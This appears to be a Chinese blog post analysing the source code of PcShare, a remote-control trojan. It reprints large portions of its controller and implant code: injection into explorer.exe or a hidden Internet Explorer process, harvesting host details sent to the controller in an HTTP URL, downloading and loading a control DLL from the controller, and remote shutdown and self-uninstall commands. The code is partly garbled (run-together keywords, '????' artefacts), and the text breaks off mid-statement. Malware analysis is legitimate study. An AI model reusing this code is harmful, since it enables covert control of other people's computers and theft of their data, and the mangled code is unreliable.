前言
pcshare 是一款功能強大的計算機遠程控制軟件,采用 HTTP 反向通信,有超強的隱藏和自我修復等功能。
代碼下載:https://github.com/xdnice/PCShare
源碼編譯
源碼下載之后,直接升級編譯即可。
打開 pcshare 解決方案文件,有 12 個工程。
其中 PcShare 為遠程控制的控制端主工程界面,PcStat 為被控端的母體文件,PcClient 為 PcStat 釋放并加載的被控端組成之一,主要用于建立 HTTP 連接,并將本地主機信息通過 HTTP GET 請求方式發(fā)送給控制端進行上線,建立 HTTP 上線連接成功后,會請求并下載后續(xù)進行交互執(zhí)行具體命令請求的控制 dll---PcCortr,后續(xù)的交互操作就是控制端下達控制命令,由控制 dll 執(zhí)行命令,并將命令的執(zhí)行結果反饋給控制端顯示,以此來達到遠程控制目標主機的目的。
代碼分析
為了方便調試分析 pcshare 的交互過程,需要提前設置一些配置屬性,在被控端的母體程序中將控制端的 ip 地址和端口號以及下發(fā)控制 dll 的文件名稱和被控端啟動方式在 PcStat 工程中配置了(PcStat.cpp CPcStatApp::InsertDllToProcess 中進行配置 L76)。
這些啟動配置信息根據(jù)實際情況進行設置。
pcshare 服務端邏輯
首先看一下 pcshare 網(wǎng)絡框架的服務端部分。
一般來說網(wǎng)絡程序分為服務端和客戶端程序。pcshare 的服務端程序集成在控制端中(PcShare 工程),其采用 MFC 框架編寫,所以從 CPcShareApp::InitInstance 函數(shù)查看控制端程序邏輯,在該函數(shù)內部,在進行了一些初始化操作之后,會通過 CMainFrame::StartWork 函數(shù)建立網(wǎng)絡服務。
建立網(wǎng)絡服務前的初始化操作包括:
* 創(chuàng)建名為 `PcShare2005` 的互斥體對象,保證單一實例運行;
* 初始化 windows 下 socket 環(huán)境;
* 初始化界面相關信息。
BOOL CPcShareApp::InitInstance() { //保證只啟動一次 m_LockHandle = CreateMutex(NULL,TRUE,"PcShare2005"); if(m_LockHandle == NULL|| GetLastError() == ERROR_ALREADY_EXISTS) returnFALSE; ReleaseMutex(m_LockHandle); //初始化SOCKET環(huán)境 WSADATA data; if(WSAStartup(MAKEWORD(2, 2), &data)) returnFALSE; if(LOBYTE(data.wVersion) !=2|| HIBYTE(data.wVersion) != 2) { WSACleanup(); returnFALSE; } //初始化控件環(huán)境 AfxEnableControlContainer(); //Enable3dControls(); CoInitialize(NULL); memset(&m_MainValue, 0, sizeof(m_MainValue)); //啟動主界面 CMainFrame* pFrame = newCMainFrame; m_pMainWnd = pFrame; pFrame->LoadFrame(IDR_MAINFRAME); pFrame->ShowWindow(SW_SHOWMAXIMIZED); pFrame->ResizeWnd(); pFrame->UpdateWindow(); pFrame->StartWork(); returnTRUE; }
在 CMainFrame::StartWork 函數(shù)內部,完成了4件事
* 獲取本地 IP 地址列表,顯示到事件窗口中;
* 設置窗口標題:`PcShare2005(VIP版本)-主控界面: 【本機ip地址列表】` ;
* 通過讀取配置文件獲取開啟 TCP 服務器監(jiān)聽的端口號,并開啟監(jiān)聽(SOCKET StartTcp(WORD Port));
* 開啟一個工作線程用于等待被控端連接,線程函數(shù)為 MyGlobalFuc.cpp --- SOCKET StartTcp(WORD Port) 函數(shù)
voidCMainFrame::StartWork() { //連接主頁 //取INI文件名稱 charm_IniFileName[256] = { 0}; GetIniFileName(m_IniFileName); //取IP地址列表信息 PHOSTENT hostinfo; charname[512] = { 0}; if(gethostname(name, sizeof(name)) != 0|| (hostinfo = gethostbyname(name)) == NULL) { ShowMyText("取本地地址列表失敗", TRUE); return; } CString m_AddrList; structsockaddr_in dest; for(inti = 0; hostinfo->h_addr_list[i] != NULL; i++) { memcpy(&(dest.sin_addr), hostinfo->h_addr_list[i], hostinfo->h_length); m_AddrList += inet_ntoa(dest.sin_addr); m_AddrList += "-"; } charm_Text[512] = { 0}; sprintf(m_Text, "本機IP地址列表:【%s】", m_AddrList.Left(m_AddrList.GetLength() - 1)); ShowMyText(m_Text, FALSE); wsprintf(m_Text, "PcShare2005(VIP版本)-主控界面: %s", m_AddrList.Left(m_AddrList.GetLength() - 1)); SetWindowText(m_Text); //打開上線偵聽端口 charm_sPortMain[100] = { 0}; GetPrivateProfileString("設置", "自動上線連接端口", "80", m_sPortMain, 99, m_IniFileName); m_MainSocket = StartTcp(atoi(m_sPortMain)); if(m_MainSocket == NULL) { ShowMyText("控制端口被占用,初始化失敗,請關閉iis服務!", TRUE); return; } wsprintf(m_Text, "本機偵聽端口【%s】", m_sPortMain); ShowMyText(m_Text, FALSE); //啟動偵聽線程 ShowMyText("初始化成功,等待客戶連接", FALSE); UINTm_Id = 0; _beginthreadex(NULL, 0, MyMainThread, (LPVOID)m_MainSocket, 0, &m_Id); }
其中 SOCKET StartTcp(WORD Port) 函數(shù)主要完成了對服務端監(jiān)聽套接字的配置,在函數(shù)內部會完成開啟網(wǎng)絡服務的操作,其中包括:
* 創(chuàng)建一個`阻塞`的 socket;
* 綁定本機地址(INADDR\_ANY);
* 設置 socket 發(fā)送和接收數(shù)據(jù)的超時時間;
* 監(jiān)聽從配置文件獲取到的端口號;
如果一切執(zhí)行順利,將返回一個阻塞的 socket,并開啟網(wǎng)絡服務監(jiān)聽。
SOCKET StartTcp(WORD Port) { SOCKET sListenSocket; sockaddr_in addr; intoptval = 600* 1000; memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_addr.s_addr = htonl(INADDR_ANY); addr.sin_port = htons(Port); sListenSocket = socket(AF_INET, SOCK_STREAM, 0); if(sListenSocket == INVALID_SOCKET) returnNULL; if(bind(sListenSocket, (sockaddr*)&addr, sizeof(addr)) == SOCKET_ERROR) { closesocket(sListenSocket); returnNULL; } if(setsockopt(sListenSocket, SOL_SOCKET, SO_SNDTIMEO, (char*)&optval, sizeof(optval)) == SOCKET_ERROR) { closesocket(sListenSocket); returnNULL; } if(setsockopt(sListenSocket, SOL_SOCKET, SO_RCVTIMEO, (char*)&optval, sizeof(optval)) == SOCKET_ERROR) { closesocket(sListenSocket); returnNULL; } if(listen(sListenSocket, SOMAXCONN) == SOCKET_ERROR) { closesocket(sListenSocket); returnNULL; } returnsListenSocket; }
創(chuàng)建的工作線程最終將會執(zhí)行 MyMainThread 函數(shù)(MyThreadFunc.cpp),該函數(shù)主要完成了
* 等待被控端客戶端連接;
* 為每個被控端創(chuàng)建一個線程處理后續(xù)的交互。
一旦有被控端成功接入,將得到一個新的 socket ,這個 socket 區(qū)別與之前開啟網(wǎng)絡服務創(chuàng)建的監(jiān)聽 socket ,該處的 socket 用于與連接上的被控端進行通信。由于監(jiān)聽 socket 是阻塞的,所以,此處的 accept 函數(shù)會在沒等到被控端成功接入時會一直阻塞所屬的工作線程的執(zhí)行。所以這就是為什么又要額外的為每一個被控端創(chuàng)建一個單獨的線程進行后續(xù)交互。另外這個無限循環(huán)只有當 accept 調用失敗才會退出。
//偵聽線程 UINTWINAPI MyMainThread(LPVOID lPvoid) { UINTm_Id = 0; SOCKET m_LisSocket = (SOCKET)lPvoid; SOCKET m_AccSocket = 0; while(1) { //等待客戶連接 if((m_AccSocket = accept(m_LisSocket, 0, 0)) == INVALID_SOCKET) break; //啟動客戶簽到線程 _beginthreadex(NULL, 0, MyChildThread, (LPVOID)m_AccSocket, 0, &m_Id); } closesocket(m_LisSocket); return0; }
此時線程情況如下。
一旦有被控端成功接入成功,程序將創(chuàng)建一個工作線程用于與接入的被控端進行交互,該線程的執(zhí)行流函數(shù)為 MyChildThread(MyThreadFunc.cpp)
在該線程函數(shù)的回調函數(shù)內部,通過 AcceptClientMain (MyGlobalFuc.cpp L64)解析被控端的登陸請求,成功解析后會獲得被控端請求的類型。
//接收連接線程 UINTWINAPI MyChildThread(LPVOID lPvoid) { LOG_NORMAL("Start MyChildThread successfully, ThreadID = %u.", ::GetCurrentThreadId()); //交易處理 SOCKET sClientSocket = (SOCKET)lPvoid; CLIENTITEMclientItem = { 0}; intnCmd = AcceptClientMain(sClientSocket, &clientItem); LOG_NORMAL("Client cmd = %d", nCmd); if(nCmd == -1) closesocket(sClientSocket); elseif(nCmd == CONN_MAIN) LoginTrans(sClientSocket, &clientItem); else InterTrans(sClientSocket, &clientItem, nCmd); return0; }
在 AcceptClientMain 函數(shù)中
首先解析被控端發(fā)送的 HTTP 請求頭
之后解析 GET 請求的數(shù)據(jù),根據(jù)雙方規(guī)定的消息格式,進行解析
intAcceptClientMain(SOCKET s,LPCLIENTITEM pData) { charch = 0; intnlinelen = 0; charslinedata[8192] = {0}; intret = 0; //接收一行數(shù)據(jù) while(1) { //接收一個字符 ret = recv(s,&ch,1,0); if(ret == 0|| ret == SOCKET_ERROR || m_MainValue.m_IsMainExit) return-1; //提取數(shù)據(jù) slinedata[nlinelen] = ch; if(nlinelen >= 4&& slinedata[nlinelen] == ' '&& slinedata[nlinelen - 1] == ' '&& slinedata[nlinelen - 2] == ' '&& slinedata[nlinelen - 3] == ' ') break; if(nlinelen++ > 8000) return-1; } TRACE("%s ",slinedata); char* pFlag = strchr(slinedata,'/'); if(pFlag == NULL) return-1; if(*(pFlag + 1) == '/') { pFlag += 2; pFlag = strchr(pFlag,'/'); if(pFlag == NULL) return-1; } pFlag ++; //取連接類型 charm_sCommand[10] = {0}; memcpy(m_sCommand,pFlag,4); intm_Command = atoi(m_sCommand); //查看命令是否合法 if(m_Command > 4999|| m_Command < 3000) ????????return?-1; ????//拷貝login數(shù)據(jù) ????AscToBcd((BYTE*)(pFlag + 4), (BYTE*) &pData->m_SysInfo, sizeof(LOGININFO) * 2); returnm_Command; }
在測試過程中,接收到的請求頭為:
其中雙方的消息格式,用結構體表示如下,可以結合被控端的請求對應來看。
structLogin { intcommand; // 命令號,前四個字符 charexternData[2048]; // 后面的數(shù)據(jù) };
被控端使用 GET 請求的 URL :
AcceptClientMain 函數(shù)經(jīng)過一定處理后,會解析出命令號
之后在還原登陸請求,該登陸請求為被控端主機相關信息,具體在后續(xù)被控端分析。
解析完成后,將根據(jù)解析出來的命令號,來決定走哪一個分支:
當是上線請求時,會執(zhí)行 LoginTrans 函數(shù) (MyThreadFunc.cpp),在該函數(shù)內部
首先響應客戶端的請求;
之后下發(fā)控制文件 dll,被控端將下載這個 dll 文件進行后續(xù)控制;
如果該連接已經(jīng)上線,那么啟動套接字關閉事件通知,從界面上移除該主機;
填充客戶端信息,通知 UI 界面(通過發(fā)送消息 WM_ADDCLIENT),添加一個新的客戶端信息。
voidLoginTrans(SOCKET s, LPCLIENTITEM pData) { //回送確認包頭信息 if(!SendKeepAlive(s)) return; //發(fā)送機器控制文件 charm_FileName[512] = "PcCortr.dll"; GetMyFilePath(m_FileName); if(!SendFile(s, m_FileName)) return; //支持自動更新 if(pData->m_SysInfo.m_PcName[61] == 1) { strcpy(m_FileName, "PcStat.exe"); GetMyFilePath(m_FileName); if(!SendFile(s, m_FileName)) return; strcpy(m_FileName, "PcClient.dll"); GetMyFilePath(m_FileName); if(!SendFile(s, m_FileName)) return; } //啟動套接字關閉事件通知 if(WSAAsyncSelect(s, m_MainValue.m_MainhWnd, WM_CLOSEITEM, FD_CLOSE) == SOCKET_ERROR) { closesocket(s); return; } //填充客戶信息 sockaddr_in m_addr = { 0}; intaddrlen = sizeof(sockaddr_in); getpeername(s, (sockaddr*)&m_addr, &addrlen); charmTid[9] = { 0}; memcpy(mTid, pData->m_SysInfo.ID, 8); sprintf(pData->m_Title, "%03d.%03d.%03d.%03d:%s", m_addr.sin_addr.S_un.S_un_b.s_b1, m_addr.sin_addr.S_un.S_un_b.s_b2, m_addr.sin_addr.S_un.S_un_b.s_b3, m_addr.sin_addr.S_un.S_un_b.s_b4, mTid); CTime tLogin = CTime::GetCurrentTime(); pData->m_LoginTime = (time_t)tLogin.GetTime(); pData->m_WorkSocket = s; //通知主框架建立了連接 if(!SendMessage(m_MainValue.m_MainhWnd, WM_ADDCLIENT, (WPARAM)pData, 0)) { closesocket(s); } }
此時,主控端界面上將顯示上線的被控端信息
其中響應被控端的請求是通過 SendKeepAlive (MyThreadFunc.cpp)函數(shù)完成的:
拼接出響應被控端請求的響應頭;
之后通過 SendData 函數(shù)響應被控端請求。
boolSendKeepAlive(SOCKET s) { charm_sCommand[512] = { 0}; charm_Strlen[256]; strcpy(m_sCommand, "HTTP/1.1 200 OK "); strcat(m_sCommand, "Server: Microsoft-IIS/5.0 "); CTime t = CTime::GetCurrentTime(); sprintf(m_Strlen, "Date: %s GMT ", t.FormatGmt("%a, %d %b %Y %H:%M:%S")); strcat(m_sCommand, m_Strlen); sprintf(m_Strlen, "Content-Length: %d " , 1024* 1024* 1024); strcat(m_sCommand, m_Strlen); strcat(m_sCommand, "Connection: Close "); strcat(m_sCommand, "Cache-Control: no-cache "); if(!SendData(s, m_sCommand, strlen(m_sCommand))) { closesocket(s); returnfalse; } returntrue; }
拼接出的響應頭:
響應代碼是通過 SendData (MyGlobalFuc.cpp)完成的,內部就是不斷發(fā)送指定長度的數(shù)據(jù)給對端。
BOOLSendData(SOCKET s, char*data, intlen) { char* p = data; inti = 0; intk = len; intret = 0; if(len <= 0) return?TRUE; ????while?(1) ????{ ????????ret = send(s, p, k, 0); ????????if?(ret == 0?|| ret == SOCKET_ERROR ????????????|| g_MainValue.m_IsMainExit) ????????{ ????????????TRACE("SendData OUT,%d ", WSAGetLastError()); ????????????return?FALSE; ????????} ????????i += ret; ????????p += ret; ????????k -= ret; ????????if?(i >= len) break; } returnTRUE; }
其中下發(fā)控制文件 dll 是通過讀取當前工作目錄下的 PcCortr.dll 文件內容,并通過 SendFile (MyThreadFunc.cpp)下發(fā)至被控端。
BOOL SendFile(SOCKET s, char* pFileName) { FILE* fp = fopen(pFileName, "rb"); if(fp == NULL) { closesocket(s); returnFALSE; } fseek(fp, 0, SEEK_END); intnLen = ftell(fp); fseek(fp, 0, SEEK_SET); char* pFileBuf = newchar[nLen]; fread(pFileBuf, nLen, 1, fp); fclose(fp); if(!SendData(s, (char*)&nLen, sizeof(int)) || !SendData(s, pFileBuf, nLen)) { delete[] pFileBuf; closesocket(s); returnFALSE; } delete[] pFileBuf; returnTRUE; }
至此,服務端處理被控端的上線邏輯分析完畢。
當然,還有一個分支邏輯是與控制 DLL 進行后續(xù)通信的,在此沒做分析。
pchsare 客戶端邏輯
客戶端的執(zhí)行邏輯,可以分為3個階段。
* 第一階段:執(zhí)行母體程序 PcStat.exe ,用于釋放出用于建立 HTTP 連接進行上線的 PcClient.dll;
* 第二階段:PcClient.dll 被加載執(zhí)行,與控制端建立 HTTP 連接,發(fā)送上線請求,并接收第三階段的控制 DLL (PcCortr.dll),之后加載控制 dll ,進入第三階段;
* 第三階段:與控制端建立發(fā)送和接收的 HTTP 通道,進行后續(xù)的控制指令交互。
第一階段:釋放并加載上線 DLL
第一階段的邏輯可以從被控端的母體程序 PcStat 工程進行分析,同樣 PcStat 是一個 MFC 程序,直接從 CPcStatApp::InitInstance 進行查看,從代碼邏輯上看,母體文件最終會釋放上線 DLL 文件(CPcStatApp::LoadInitInfo PcStat.cpp L185),但為了方便調試,這里直接加載了第二階段執(zhí)行的 DLL 文件(PcClient.dll)。
BOOLCPcStatApp::InitInstance() { // __asm{int 3}; //創(chuàng)建任務事件 m_ExitEvent = CreateEvent(NULL,TRUE,FALSE,AfxGetAppName()); if(m_ExitEvent == NULL|| GetLastError() == ERROR_ALREADY_EXISTS) returnFALSE; //生成連接庫文件 charm_FileName[256] = {0}; if(!LoadInitInfo(m_FileName)) returnFALSE; //裝載連接dll //HMODULE m_Module = LoadLibrary(m_FileName); HMODULE m_Module = LoadLibrary("PcClient.dll"); if(m_Module == NULL) returnFALSE; //啟動連接 InsertDllToProcess(m_Module); //釋放資源 FreeLibrary(m_Module); returnTRUE; }
釋放成功后,母體程序會加載釋放的 DLL 并調用其導出函數(shù) PcClient.dll 執(zhí)行,在 CPcStatApp::InsertDllToProcess 函數(shù)內部,獲得了 PlayWork 的函數(shù)地址后,將根據(jù)生成器中配置的啟動方式,決定上線 DLL 的執(zhí)行方式。
voidCPcStatApp::InsertDllToProcess(HMODULE m_Module) { //取PcClient.dll中導出函數(shù)PlayWork PLAYWORK PlayWork = (PLAYWORK)GetProcAddress(m_Module, "PlayWork"); if(PlayWork == NULL) return; // for debugging m_Info.m_ProcessName[0] = 2; strcpy(m_Info.m_ServerAddr, "127.0.0.1"); m_Info.m_ServerPort = 8081; strcpy(m_Info.m_CtrlFile, "PcCortr.dll"); if(m_Info.m_ProcessName[0] == 0) { //插入到explorer.exe進程 if(!CheckProcess(m_Info.m_ProcessId)) { //關閉等待事件句柄 CloseHandle(m_ExitEvent); return; } } elseif(m_Info.m_ProcessName[0] == 1) { //插入到自啟動ie PROCESS_INFORMATION piProcInfo; STARTUPINFO siStartInfo; // Set up members of STARTUPINFO structure. ZeroMemory(&siStartInfo, sizeof(STARTUPINFO)); GetStartupInfo(&siStartInfo); siStartInfo.cb = sizeof(STARTUPINFO); siStartInfo.wShowWindow = SW_HIDE; siStartInfo.dwFlags = STARTF_USESHOWWINDOW; charm_IePath[256] = "C:\Program Files\Internet Explorer\IEXPLORE.EXE"; charm_SysPath[256] = { 0}; GetSystemDirectory(m_SysPath, 200); m_IePath[0] = m_SysPath[0]; if(!CreateProcess(m_IePath, NULL, NULL, NULL, TRUE, DETACHED_PROCESS, NULL, NULL, &siStartInfo, &piProcInfo)) { CloseHandle(m_ExitEvent); return; } //等待進程初始化 m_Info.m_ProcessId = (UINT)piProcInfo.dwProcessId; WaitForInputIdle(piProcInfo.hProcess, 3000); } else { LOG_NORMAL("Application runs in standard-alone mode."); //本進程啟動 PlayWork(&m_Info); WaitForSingleObject(m_ExitEvent, INFINITE); CloseHandle(m_ExitEvent); return; } //插入指定進程 if(PlayWork(&m_Info)) { EnumWindows(EnumWindowsProc, m_Info.m_ProcessId); WaitForSingleObject(m_ExitEvent, INFINITE); } //關閉等待事件句柄 CloseHandle(m_ExitEvent); }
第二階段:請求上線,下載控制 DLL
跟隨程序的邏輯,最終可定位到 PcClient 工程的 BOOL PlayWork(LPINITDLLINFO pInitInfo) 函數(shù)。
在 PlayWork 函數(shù)內部,通過獲取母體程序中嵌入的啟動配置信息后,最終會調用 void SshWork::StartWork(LPINITDLLINFO pItem) 函數(shù)進入主邏輯流程。
BOOLPlayWork(LPINITDLLINFO pInitInfo) { //拷貝數(shù)據(jù) memcpy(&g_InitInfo, pInitInfo, sizeof(INITDLLINFO)); //自進程啟動 if(pInitInfo->m_ProcessName[0] == 2) { g_SshWork.StartWork(&g_InitInfo); returnTRUE; } //檢查是否已經(jīng)啟動 if(g_hook != NULL) returnFALSE; //啟動HOOK g_hook = SetWindowsHookEx(WH_DEBUG, GetMsgProc, ghInstance, 0); return(g_hook != NULL); }
在 StartWork 函數(shù)內部的尾部會開啟一個工作線程與控制端進行連接通信,其線程的執(zhí)行流為 UINT WINAPI SshWork::SSH_WorkThread(LPVOID lPvoid) 函數(shù)。
voidSshWork::StartWork(LPINITDLLINFO pItem) { //拷貝數(shù)據(jù) memcpy(&m_InitInfo, pItem, sizeof(INITDLLINFO)); m_ExitEvent = CreateEvent(NULL, TRUE, FALSE, NULL); // ... //啟動相應工作線程序 UINTuThreadID = 0; m_Thread = (HANDLE)_beginthreadex(NULL, 0, SSH_WorkThread, (LPVOID) this, 0, &uThreadID); }
在 SSH_WorkThread 函數(shù)內部,會通過 GetHttpConnect 函數(shù)與主控端建立 HTTP 連接,并下載后續(xù)的持久化模塊(PcCortr.dll),并加載到內存中,如果一切順利,就獲取 PcCortr.dll 模塊的導出函數(shù) ProcessTrans 并執(zhí)行。在這個 while 循環(huán)中,每次循環(huán)將等待 3s ,用來判斷是否有退出事件發(fā)生。一旦發(fā)生就會退出線程循環(huán),并銷毀資源,退出程序。
UINT WINAPI SshWork::SSH_WorkThread(LPVOID lPvoid) { //取工作指針 SshWork* pWork = (SshWork*) lPvoid; //開始進入工作循環(huán) while(1) { //建立連接 if(pWork->GetHttpConnect(&pWork->m_InitInfo)) { //連接成功,開始處理交易 PROCESSTRANS ProcessTrans = (PROCESSTRANS) GetProcAddress(pWork->hCtrlMd,"ProcessTrans"); if(ProcessTrans != NULL) ProcessTrans(pWork->hFp , pWork->m_ExitEvent , pWork->m_InitInfo.m_ServerAddr , pWork->m_InitInfo.m_ServerPort , pWork->m_InitInfo.m_KeyName , pWork->m_InitInfo.m_ParentFile); } //休息等待指定時間 if(WaitForSingleObject(pWork->m_ExitEvent, 30000) != WAIT_TIMEOUT) break; } //銷毀資源 pWork->StopWork(); ExitProcess(0); return0; }
該程序模塊是通過 GetHttpConnect 函數(shù)進行 HTTP 連接的,其中建立連接使用的 API 函數(shù)為 Windows 封裝好的 WinHttp 相關的 API,其一般的建立連接步驟是
1. 調用 `InternetOpen` 函數(shù)初始化 Internet API 的環(huán)境,并獲得一個指向 Internet API 環(huán)境的句柄;
2. 調用 `InternetConnect` 函數(shù)建立連接到指定服務器;
3. 調用 `InternetOpenUrl` 建立 HTTP 連接和發(fā)送 HTTP 請求;
4. 調用 `InternetReadFile` 函數(shù)接收服務器返回的數(shù)據(jù)。
5. 在完成交互之后,調用 `InternetCloseHandle` 函數(shù)關閉句柄。
在 GetHttpConnect 函數(shù)內部,就是對上述 API 進行二次封裝,并添加了一些請求設置和響應判斷,比如:
* 調用 `InternetSetOption` 函數(shù)設置接收超時時間為24小時。
* 調用 `HttpQueryInfo` 函數(shù)查看請求的返回碼,如果是 200 表示服務器成功處理請求。
之后就調用 DownloadFile 函數(shù)從服務器下載后續(xù)的持久化控制 dll,在此之前會判斷該 dll 是否已經(jīng)被加載,如果已經(jīng)被加載,那么會將原來的卸載在重新從服務器拉取,并加載到內存中,后續(xù)根據(jù)控制 dll 的啟動方式選擇是否更新。
BOOLSshWork::GetHttpConnect(LPINITDLLINFO pInfo) { //關閉句柄 if(hIe != NULL) { CloseHttpHandle(); Sleep(2000); } //設置最大連接數(shù)量為100 DWORD nValue = 100; if( !InternetSetOption(NULL,73,&nValue,sizeof(DWORD)) || !InternetSetOption(NULL,74,&nValue,sizeof(DWORD))) returnFALSE; //查看是否有ddns if(strlen(pInfo->m_DdnsUrl) != 0) { //需要分析DDNS if(!GetDesServerInfo(pInfo, pInfo->m_DdnsUrl)) { if(!GetDesServerInfo(pInfo, pInfo->m_BakUrl)) { //檢查兩層DDNS returnFALSE; } } } //初始化HTTP環(huán)境 hIe = InternetOpen("Mozilla/4.0 (compatible; MSIE 6.0; " "Windows NT 5.0; .NET CLR 1.1.4322)", INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0); if(!hIe) returnFALSE; //填充上送當前客戶信息 charm_Url[4096] = {0}; charm_ExternData[2048] = {0}; GetMySysInfo(m_ExternData); sprintf(m_Url,"http://%s:%d/%d%s", pInfo->m_ServerAddr,pInfo->m_ServerPort, CONN_MAIN,m_ExternData); //建立HTTP連接,上送數(shù)據(jù) hFp = InternetOpenUrl(hIe , m_Url , NULL, 0, INTERNET_FLAG_PRAGMA_NOCACHE| INTERNET_FLAG_RELOAD| INTERNET_FLAG_NO_CACHE_WRITE , 0); if(!hFp) { CloseHttpHandle(); returnFALSE; } DWORD m_TimeOut = 24* 3600* 1000; if(!InternetSetOption(hFp, INTERNET_OPTION_RECEIVE_TIMEOUT,&m_TimeOut,sizeof(DWORD))) { CloseHttpHandle(); returnFALSE; } //查看返回碼 charsCode[256] = {0}; DWORD nSize = 250; DWORD nIndex = 0; if(!HttpQueryInfo(hFp , HTTP_QUERY_STATUS_CODE , sCode , &nSize , &nIndex) || atoi(sCode) != 200) { CloseHttpHandle(); returnFALSE; } //查看控制dll是否已經(jīng)裝載 if(hCtrlMd) FreeLibrary(hCtrlMd); //接收控制文件 if(!DlFile(m_InitInfo.m_CtrlFile)) { CloseHttpHandle(); returnFALSE; } //裝載控制dll文件 hCtrlMd = LoadLibrary(m_InitInfo.m_CtrlFile); if(hCtrlMd == NULL) { CloseHttpHandle(); returnFALSE; } //當不是本進程啟動的時候,更新本進程 if(m_InitInfo.m_ProcessName[0] != 2) { if(!UpdateExeFile()) { CloseHttpHandle(); returnFALSE; } } returnTRUE; }
其中在使用 InternetOpenUrl 函數(shù)建立 HTTP 請求的 URL 是根據(jù)當前主機的信息與服務器的 ip 和 port 拼接而成的。
ip 和 port 是通過生成器提前寫入母體文件傳遞過來的,當前主機的信息則是通過自寫 GetMySysInfo 函數(shù)獲取得到的。
在函數(shù)內部,程序會獲取當前主機的操作系統(tǒng)類型、CPU信息(速度和個數(shù))、內存容量、計算機名稱、當前用戶名稱、獲取 C 盤的序列號并進行一定的加密(計算機名稱前8個字符和轉換后的 C 盤序列號)作為被控端的唯一標識(16個字符);在收集完成后,最終將轉為一串由 0 和 1 組成的字符串。
voidSshWork::GetMySysInfo(char* pTransData) { LOGININFO m_SysInfo = { 0}; //取操作系統(tǒng) m_SysInfo.m_SysType = IsShellSysType(); //取CPU信息 SYSTEM_INFO m_pSysInfo = { 0}; GetSystemInfo(&m_pSysInfo); m_SysInfo.m_CpuSpeed = getCpuSpeedFromRegistry(); m_SysInfo.m_CpuCount = (UINT)m_pSysInfo.dwNumberOfProcessors; //取內存容量 MEMORYSTATUS Buffer = { 0}; GlobalMemoryStatus(&Buffer); m_SysInfo.m_MemContent = Buffer.dwTotalPhys / 1024; //計算機名稱 DWORD m_Len = 63; GetComputerName(m_SysInfo.m_PcName, &m_Len); m_SysInfo.m_PcName[60] = 0x00; m_SysInfo.m_PcName[61] = 0x01; //取用戶名 DWORD len = 36; GetUserName(m_SysInfo.m_UserName, &len); m_SysInfo.m_UserName[37] = m_IsVideo; //生成內部標識 DWORD SeriaNumber = 0; GetVolumeInformation("C:", NULL, NULL, &SeriaNumber, NULL, NULL, NULL, NULL); charm_DesKey[10] = { 0}; sprintf(m_DesKey, "%08x", SeriaNumber); charm_SmallBuf[100] = { 0}; memset(m_SmallBuf, 0, sizeof(m_SmallBuf)); for(inti = 0; i < 8; i++) ????{ ????????m_SmallBuf[i] = m_SysInfo. ????????????m_PcName[i] ^ m_DesKey[i]; ????} ????BcdToAsc((BYTE*)m_SmallBuf, (BYTE*) ????????m_SysInfo.ID, 8); ????BcdToAsc((BYTE*)&m_SysInfo, ????????(BYTE*)pTransData, sizeof(LOGININFO)); }
最終將拼接為類似如下的 URL
服務器成功響應的返回碼為200
之后開始下載控制后續(xù)的控制 dll,通過對生成器分析,控制 dll 的名稱為 PcCortr.dll
首先接收文件的長度
接收控制 dll 文件內容
保存到當前工作路徑中,名稱為 PcCortr.dll
BOOL SshWork::DownloadFile(char* pFileName) { //接收文件長度 intnFileLen = 0; if(!RecvData(hFp, (char*)&nFileLen, sizeof(int))) { //接收文件長度失敗 returnFALSE; } //接收新的文件數(shù)據(jù) char* pData = newchar[nFileLen]; if(!RecvData(hFp, pData, nFileLen)) { //更新數(shù)據(jù)失敗 delete[] pData; returnFALSE; } //下裝控制文件 FILE *fp = fopen(pFileName, "wb"); if(fp != NULL) { fwrite(pData, nFileLen, 1, fp); fclose(fp); } delete[] pData; returnTRUE; }
從服務器接收數(shù)據(jù)是通過 BOOL SshWork::RecvData(HINTERNET hFile, LPVOID pData, int DataLen) 函數(shù)完成的,它是對 InternetReadFile API 函數(shù)的封裝,通過循環(huán)+數(shù)據(jù)偏移的形式不斷從服務器中接收數(shù)據(jù),直到全部接收完畢。
測試環(huán)境下接收到的文件。
下載完成后,會嘗試將其加載到內存中。
至此,第二階段的工作與控制端建立連接的工作完成,此階段主要是下載用于后續(xù)交互控制的 dll 文件,并將其保存到本地并執(zhí)行。
最終執(zhí)行的函數(shù)為 PcCortr 工程的 ProcessTrans 函數(shù)。
第三階段:進行后續(xù)命令交互執(zhí)行
PcCortr 是一個 MFC DLL 程序,在被第二階段加載之后,會調用 ProcessTrans 函數(shù)執(zhí)行,函數(shù)內部首先進行了一些初始化后,會通過 DoWork 函數(shù)與控制端進行交互。
voidProcessTrans(HINTERNET hFp, HANDLE m_ExitEvent, char* pServerAddr, intnServerPort, char* pRegInfo, char* pFileName) { AFX_MANAGE_STATE(AfxGetStaticModuleState()); CMyMainTrans myMainTrans; myMainTrans.DoWork(hFp, m_ExitEvent, pServerAddr, nServerPort, pRegInfo, pFileName); }
DoWork 函數(shù)主要是不斷調用 ProcessCmd 函數(shù)處理與服務器之間的交互。
voidCMyMainTrans::DoWork(HINTERNET HttpFp, HANDLE hExitEvent, char* pServerAddr, intServerPort, char* pRegInfo, char* pFileName) { //取任務信息 m_ServerPort = ServerPort; hFp = HttpFp; m_ExitEvent = hExitEvent; strcpy(m_RegInfo, pRegInfo); strcpy(m_FileName, pFileName); strcpy(m_ServerAddr, pServerAddr); //開始工作 while(ProcessCmd()); }
ProcessCmd 函數(shù)用于接收控制端發(fā)送的命令并進行處理。當接收到命令時,會根據(jù)命令的類型執(zhí)行對應的操作。
BOOL CMyMainTrans::ProcessCmd() { //接收交易命令 CMDINFO m_CmdInfo = {0}; if(!RecvData(hFp,&m_CmdInfo,sizeof(CMDINFO))) returnFALSE; //執(zhí)行交易命令 switch(m_CmdInfo.m_Command) { //重啟機器 caseCLIENT_SYSTEM_RESTART : SetEvent(m_ExitEvent); ShutDownSystem(FALSE); returnFALSE; //關閉機器 caseCLIENT_SYSTEM_SHUTDOWN : SetEvent(m_ExitEvent); ShutDownSystem(TRUE); returnFALSE; //卸載程序 caseCLIENT_PRO_UNINSTALL : MyRegDeleteKey(m_RegInfo); DeleteFile(m_FileName); { char* pFind = strrchr(m_FileName,'\'); if(pFind != NULL) { char m_DesFile[256] = {0}; char m_SystemPath[256] = {0}; GetSystemDirectory(m_SystemPath,200); sprintf(m_DesFile, "%s%s", m_SystemPath, pFind); DeleteFile(m_DesFile); } } SetEvent(m_ExitEvent); returnFALSE; caseCLIENT_PROXY : { closesocket(m_Info.m_soListen); strcpy(m_Info.m_DesAddr, 